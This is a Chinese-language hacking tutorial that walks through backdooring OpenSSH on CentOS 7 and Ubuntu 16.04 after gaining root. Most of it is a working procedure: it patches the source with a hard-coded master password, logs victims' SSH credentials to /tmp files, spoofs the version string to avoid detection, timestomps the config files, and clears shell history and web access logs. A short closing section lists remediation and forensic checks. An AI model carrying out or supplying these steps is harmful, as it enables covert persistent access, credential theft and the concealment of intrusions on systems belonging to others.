當(dāng)我們拿到一個服務(wù)器的shell之后,肯定需要維持好我們的權(quán)限,這里我們需要留個后門方便我們進(jìn)出。這里我們不討論提權(quán)的問題,前提我們通過各種方式提權(quán)到root,拿到root之后才是我們留后門的開始。做了個openssh的后門,也就是root雙密碼,管理一個密碼、我們的后門一個密碼,不影響管理的那個密碼。
這里我們討論兩個Linux,實驗環(huán)境為Centos 7和Ubuntu 16.0.4
0x01 查看版本
ssh -V
Centos 7.0

Ubuntu 16.0.4

有必要的話需要對原ssh配置文件進(jìn)行備份,可以對后期的文件時間進(jìn)行修改:
cp -p /etc/ssh/ssh_config / etc/ssh/ssh_config.bak
cp -p /etc/ssh/sshd_config / etc/ssh/sshd_config.bak
0x02 下載SSH配置文件
openssh-5.9p1.tar.gz
openssh-5.9p1.patch.tar.gz
使用wget進(jìn)行遠(yuǎn)程下載,如果沒有安裝wget,可以安裝可以直接下載openssh源碼,也可以使用菜刀大馬等上傳上去。
Centos:yum -y install wget
Ubuntu:apt-get install wget
0x03 編輯安裝
Centos 7
tar zxvf openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/ 復(fù)制patch后門文件到正常openssh里面
patch < sshbd5.9p1.diff



可能遇到的問題patch未安裝
yum -y install patch
Ubuntu 16.0.4
sudo apt-get install openssh-server #安裝SSH
sudo service ssh start
vim /etc/ssh/sshd_config #設(shè)置root連接ssh
#Authentication:
LoginGraceTime 120
PermitRootLogin prohibit-password
StrictModes yes
改成
#Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes
/etc/init.d/ssh restart #重啟
編輯安裝Centos 7和Ubuntu 16.0.4過程一樣,就不過多介紹了。
0x04 修改后門密碼和文件記錄
root@localhost openssh-5.9p1# vim includes.h
int secret_ok;
FILE *f;
#define ILOG "/tmp/ilog" # 記錄登錄到本機的用戶名和密碼
#define OLOG "/tmp/olog" # 記錄本機登錄到遠(yuǎn)程的用戶名和密碼
#define SECRETPW "warden" # 遠(yuǎn)程連接密碼
#endif /* INCLUDES_H */
可以對后門密碼和記錄文件進(jìn)行修改,在文件前面加上.相當(dāng)于是隱藏文件,也可以換個隱蔽的目錄。修改之后的

root@localhost openssh-5.9p1# vim version.h
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
#define SSH_VERSION "OpenSSH_5.3p1"
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE
可以根據(jù)我們剛才的查看的版本信息進(jìn)行修改,使其版本一致不易被管理員發(fā)現(xiàn)和察覺。
0x05 編譯安裝
Centos 7
首先對ssh里面的幾個key的權(quán)限進(jìn)行修改,否則可能進(jìn)行編譯的時候key不能修改而報錯。
chmod 620 moduli
chmod 600 sshd_config ssh_host_ecdsa_key ssh_host_rsa_key
chmod 644 ssh_config ssh_host_ecdsa_key.pub ssh_host_rsa_key.pub
安裝環(huán)境編譯運行
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make clean
make && make install
systemctl restart sshd.service

可以看到我們已經(jīng)編譯成功,我們的OpenSSH后門已經(jīng)設(shè)置成功。使用我們的后門密碼可以正常登陸,以前的密碼也有記錄,實驗成功。

Ubuntu 16.04
安裝環(huán)境編譯運行
apt-get install -y openssl libssl-dev libpam0g-dev
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
make clean
make && make install
/etc/init.d/ssh restart

可以看到我們已經(jīng)編譯成功,我們的OpenSSH后門已經(jīng)設(shè)置成功。使用我們的后門密碼可以正常登陸,以前的密碼也有記錄,實驗成功。

0x06 系統(tǒng)優(yōu)化
恢復(fù)新配置文件的日期跟舊文件日期一致對ssh_config和sshd_config新舊文件進(jìn)行內(nèi)容對比,使其配置文件一致,然后在修改文件日期。
touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config
清除操作日志
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志
0x07 修復(fù)方案與應(yīng)急響應(yīng)
1)重裝openssh軟件
2)SSH禁止對外開放
應(yīng)急響應(yīng):
1)比對ssh的版本
ssh -V
2)查看ssh配置文件和/usr/sbin/sshd的時間
stat /usr/sbin/sshd
3)strings檢查/usr/sbin/sshd,看是否有郵箱信息
strings可以查看二進(jìn)制文件中的字符串,在應(yīng)急響應(yīng)中是十分有用的。有些sshd后門會通過郵件發(fā)送登錄信息,通過strings /usr/sbin/sshd可以查看到郵箱信息。
4)通過strace監(jiān)控sshd進(jìn)程讀寫文件的操作
一般的sshd后門都會將賬戶密碼記錄到文件,可以通過strace進(jìn)程跟蹤到ssh登錄密碼文件。
ps axu | grep sshd | grep -v grep
root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4